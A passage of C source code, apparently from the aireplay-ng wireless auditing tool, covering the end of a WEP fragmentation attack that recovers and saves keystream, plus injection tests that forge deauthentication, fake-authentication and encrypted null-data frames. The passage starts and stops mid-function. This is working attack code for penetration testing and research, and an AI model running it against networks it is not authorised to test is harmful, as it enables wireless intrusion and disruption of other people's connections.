(packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } int grab_essid(unsigned char* packet, int len) { int i=0, j=0, pos=0, tagtype=0, taglen=0, chan=0; unsigned char bssid[6]; memcpy(bssid, packet+16, 6); taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) return -1; if(taglen != 1) return -1; if(pos+2+taglen > len) return -1; chan = packet[pos+2]; pos=0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) return -1; if(taglen > 250) taglen = 250; if(pos+2+taglen > len) return -1; for(i=0; i<20; i++) { if( ap[i].set) { if( memcmp(bssid, ap[i].bssid, 6) == 0 ) //got it already { if(packet[0] == 0x50 && !ap[i].found) { ap[i].found++; } if(ap[i].chan == 0) ap[i].chan=chan; break; } } if(ap[i].set == 0) { for(j=0; j<taglen; j++) { if(packet[pos+2+j] < 32 || packet[pos+2+j] > 127) { return -1; } } ap[i].set = 1; ap[i].len = taglen; memcpy(ap[i].essid, packet+pos+2, taglen); ap[i].essid[taglen] = '\0'; memcpy(ap[i].bssid, bssid, 6); ap[i].chan = chan; if(packet[0] == 0x50) ap[i].found++; return 0; } } return -1; } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i<len; i++) { if(i>0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; int tcp_test(const char* ip_str, const short port) { int sock, i; struct sockaddr_in s_in; int packetsize = 1024; unsigned char packet[packetsize]; struct timeval tv, tv2, tv3; int caplen = 0; int times[REQUESTS]; int min, avg, max, len; struct net_hdr nh; tv3.tv_sec=0; tv3.tv_usec=1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip_str, &s_in.sin_addr)) return -1; if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; /* avoid blocking on reading the socket */ if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { if(errno != EINPROGRESS && errno != EALREADY) { perror("connect"); close(sock); printf("Failed to connect\n"); return -1; } } else { gettimeofday( &tv2, NULL ); break; } gettimeofday( &tv2, NULL ); //wait 3000ms for a successful connect if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3000*1000)) { printf("Connection timed out\n"); close(sock); return(-1); } usleep(10); } PCT; printf("TCP connection successful\n"); //trying to identify airserv-ng memset(&nh, 0, sizeof(nh)); // command: GET_CHAN nh.nh_type = 2; nh.nh_len = htonl(0); if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh)) { perror("send"); return -1; } gettimeofday( &tv, NULL ); i=0; while (1) //waiting for GET_CHAN answer { caplen = read(sock, &nh, sizeof(nh)); if(caplen == -1) { if( errno != EAGAIN ) { perror("read"); return -1; } } if( (unsigned)caplen == sizeof(nh)) { len = ntohl(nh.nh_len); if (len > 1024 || len < 0) continue; if( nh.nh_type == 1 && i==0 ) { i=1; caplen = read(sock, packet, len); if(caplen == len) { i=2; break; } else { i=0; } } else { caplen = read(sock, packet, len); } } gettimeofday( &tv2, NULL ); //wait 1000ms for an answer if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000)) { break; } if(caplen == -1) usleep(10); } if(i==2) { PCT; printf("airserv-ng found\n"); } else { PCT; printf("airserv-ng NOT found\n"); } close(sock); for(i=0; i<REQUESTS; i++) { if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; /* avoid blocking on reading the socket */ if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } usleep(1000); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { if(errno != EINPROGRESS && errno != EALREADY) { perror("connect"); close(sock); printf("Failed to connect\n"); return -1; } } else { gettimeofday( &tv2, NULL ); break; } gettimeofday( &tv2, NULL ); //wait 1000ms for a successful connect if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000)) { break; } //simple "high-precision" usleep select(1, NULL, NULL, NULL, &tv3); } times[i] = ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)); printf( "\r%d/%d\r", i, REQUESTS); fflush(stdout); close(sock); } min = INT_MAX; avg = 0; max = 0; for(i=0; i<REQUESTS; i++) { if(times[i] < min) min = times[i]; if(times[i] > max) max = times[i]; avg += times[i]; } avg /= REQUESTS; PCT; printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n", ip_str, port, min/1000.0, avg/1000.0, max/1000.0); return 0; } int do_attack_test() { unsigned char packet[4096]; struct timeval tv, tv2, tv3; int len=0, i=0, j=0, k=0; int gotit=0, answers=0, found=0; int caplen=0, essidlen=0; unsigned int min, avg, max; int ret=0; float avg2; struct rx_info ri; int atime=200; //time in ms to wait for answer packet (needs to be higher for airserv) unsigned char nulldata[1024]; if(opt.port_out > 0) { atime += 200; PCT; printf("Testing connection to injection device %s\n", opt.iface_out); ret = tcp_test(opt.ip_out, opt.port_out); if(ret != 0) { return( 1 ); } printf("\n"); /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; printf("\n"); dev.fd_out = wi_fd(_wi_out); wi_get_mac(_wi_out, dev.mac_out); if(opt.s_face == NULL) { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } } if(opt.s_face && opt.port_in > 0) { atime += 200; PCT; printf("Testing connection to capture device %s\n", opt.s_face); ret = tcp_test(opt.ip_in, opt.port_in); if(ret != 0) { return( 1 ); } printf("\n"); /* open the packet source */ _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } else if(opt.s_face && opt.port_in <= 0) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if(getnet(NULL, 0, 0) != 0) return 1; srand( time( NULL ) ); memset(ap, '\0', 20*sizeof(struct APt)); essidlen = strlen(opt.r_essid); if( essidlen > 250) essidlen = 250; if( essidlen > 0 ) { ap[0].set = 1; ap[0].found = 0; ap[0].len = essidlen; memcpy(ap[0].essid, opt.r_essid, essidlen); ap[0].essid[essidlen] = '\0'; memcpy(ap[0].bssid, opt.r_bssid, 6); found++; } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); PCT; printf("Trying broadcast probe requests...\n"); memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = 0x00; //ESSID Tag Length len += 2; memcpy(h80211+len, RATES, 16); len += 16; gotit=0; answers=0; for(i=0; i<3; i++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } if(!answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; answers++; } } } if (packet[0] == 0x80 ) //Is beacon frame { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 'atime'ms for an answer { break; } } } if(answers == 0) { PCT; printf("No Answer...\n"); } PCT; printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's' ) ); if(found > 0) { printf("\n"); PCT; printf("Trying directed probe requests...\n"); } for(i=0; i<found; i++) { if(wi_get_channel(_wi_out) != ap[i].chan) { wi_set_channel(_wi_out, ap[i].chan); } if(wi_get_channel(_wi_in) != ap[i].chan) { wi_set_channel(_wi_in, ap[i].chan); } PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1], ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid); ap[i].found=0; min = INT_MAX; max = 0; avg = 0; avg2 = 0; memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = ap[i].len; //ESSID Tag Length memcpy(h80211+len+2, ap[i].essid, ap[i].len); len += ap[i].len+2; memcpy(h80211+len, RATES, 16); len += 16; for(j=0; j<REQUESTS; j++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; //build/send probe request memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); usleep(10); //build/send request-to-send memcpy(nulldata, RTS, 16); memcpy(nulldata+4, ap[i].bssid, 6); memcpy(nulldata+10, opt.r_smac, 6); send_packet(nulldata, 16); usleep(10); //build/send null data packet memcpy(nulldata, NULL_DATA, 24); memcpy(nulldata+4, ap[i].bssid, 6); memcpy(nulldata+10, opt.r_smac, 6); memcpy(nulldata+16, ap[i].bssid, 6); send_packet(nulldata, 24); usleep(10); //build/send auth request packet memcpy(nulldata, AUTH_REQ, 30); memcpy(nulldata+4, ap[i].bssid, 6); memcpy(nulldata+10, opt.r_smac, 6); memcpy(nulldata+16, ap[i].bssid, 6); send_packet(nulldata, 30); //continue gettimeofday( &tv, NULL ); printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } if (packet[0] == 0xC4 ) //Is clear-to-send { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xD4 ) //Is ack { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xB0 ) //Is auth response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if (! memcmp(packet+10, packet+16, 6)) //From BSS ID { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (atime*1000)) //wait 'atime'ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j<REQUESTS; j++) { if(ap[i].ping[j] > 0) { if(ap[i].ping[j] > max) max = ap[i].ping[j]; if(ap[i].ping[j] < min) min = ap[i].ping[j]; avg += ap[i].ping[j]; avg2 += ap[i].pwr[j]; } } if(ap[i].found > 0) { avg /= ap[i].found; avg2 /= ap[i].found; PCT; printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n", (min/1000.0), (avg/1000.0), (max/1000.0), avg2); } PCT; printf("%2d/%2d: %3d%%\n\n", ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); gotit=1; } } if(opt.bittest) { if(found > 0) { PCT; printf("Trying directed probe requests for all bitrates...\n"); } for(i=0; i<found; i++) { if(ap[i].found <= 0) continue; printf("\n"); PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1], ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid); min = INT_MAX; max = 0; avg = 0; memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = ap[i].len; //ESSID Tag Length memcpy(h80211+len+2, ap[i].essid, ap[i].len); len += ap[i].len+2; memcpy(h80211+len, RATES, 16); len += 16; for(k=0; k<RATE_NUM; k++) { ap[i].found=0; if(set_bitrate(_wi_out, bitrates[k])) continue; avg2 = 0; memset(ap[i].pwr, 0, REQUESTS*sizeof(unsigned int)); for(j=0; j<REQUESTS; j++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); gettimeofday( &tv, NULL ); printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP { if(!answers) { answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000)) //wait 300ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j<REQUESTS; j++) avg2 += ap[i].pwr[j]; if(ap[i].found > 0) avg2 /= ap[i].found; PCT; printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n", wi_get_rate(_wi_out)/1000000.0, ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); } if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); if(opt.fast) return 0; gotit=1; } } } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); if( opt.s_face != NULL ) { printf("\n"); PCT; printf("Trying card-to-card injection...\n"); /* sync both cards to the same channel, or the test will fail */ if(wi_get_channel(_wi_out) != wi_get_channel(_wi_in)) { wi_set_channel(_wi_out, wi_get_channel(_wi_in)); } /* Attacks */ for(i=0; i<5; i++) { k=0; /* random macs */ opt.f_smac[0] = 0x00; opt.f_smac[1] = rand() & 0xFF; opt.f_smac[2] = rand() & 0xFF; opt.f_smac[3] = rand() & 0xFF; opt.f_smac[4] = rand() & 0xFF; opt.f_smac[5] = rand() & 0xFF; opt.f_dmac[0] = 0x00; opt.f_dmac[1] = rand() & 0xFF; opt.f_dmac[2] = rand() & 0xFF; opt.f_dmac[3] = rand() & 0xFF; opt.f_dmac[4] = rand() & 0xFF; opt.f_dmac[5] = rand() & 0xFF; opt.f_bssid[0] = 0x00; opt.f_bssid[1] = rand() & 0xFF; opt.f_bssid[2] = rand() & 0xFF; opt.f_bssid[3] = rand() & 0xFF; opt.f_bssid[4] = rand() & 0xFF; opt.f_bssid[5] = rand() & 0xFF; if(i==0) //attack -0 { memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 26; } else if(i==1) //attack -1 (open) { memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac , 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 30; } else if(i==2) //attack -1 (psk) { memcpy( h80211, ska_auth3, 24); memcpy( h80211 + 4, opt.f_dmac, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_bssid, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = 1; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==3) //attack -3 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==4) //attack -5 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); h80211[1] |= 0x04; h80211[22] = 0x0A; h80211[23] = 0x00; //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<7; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+7; } for(j=0; (j<(REQUESTS/4) && !k); j++) //try it 5 times { send_packet( h80211, opt.f_minlen ); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if ( filter_packet(packet, caplen) == 0 ) //got same length and same type { if(!answers) { answers++; } if(i == 0) //attack -0 { if( 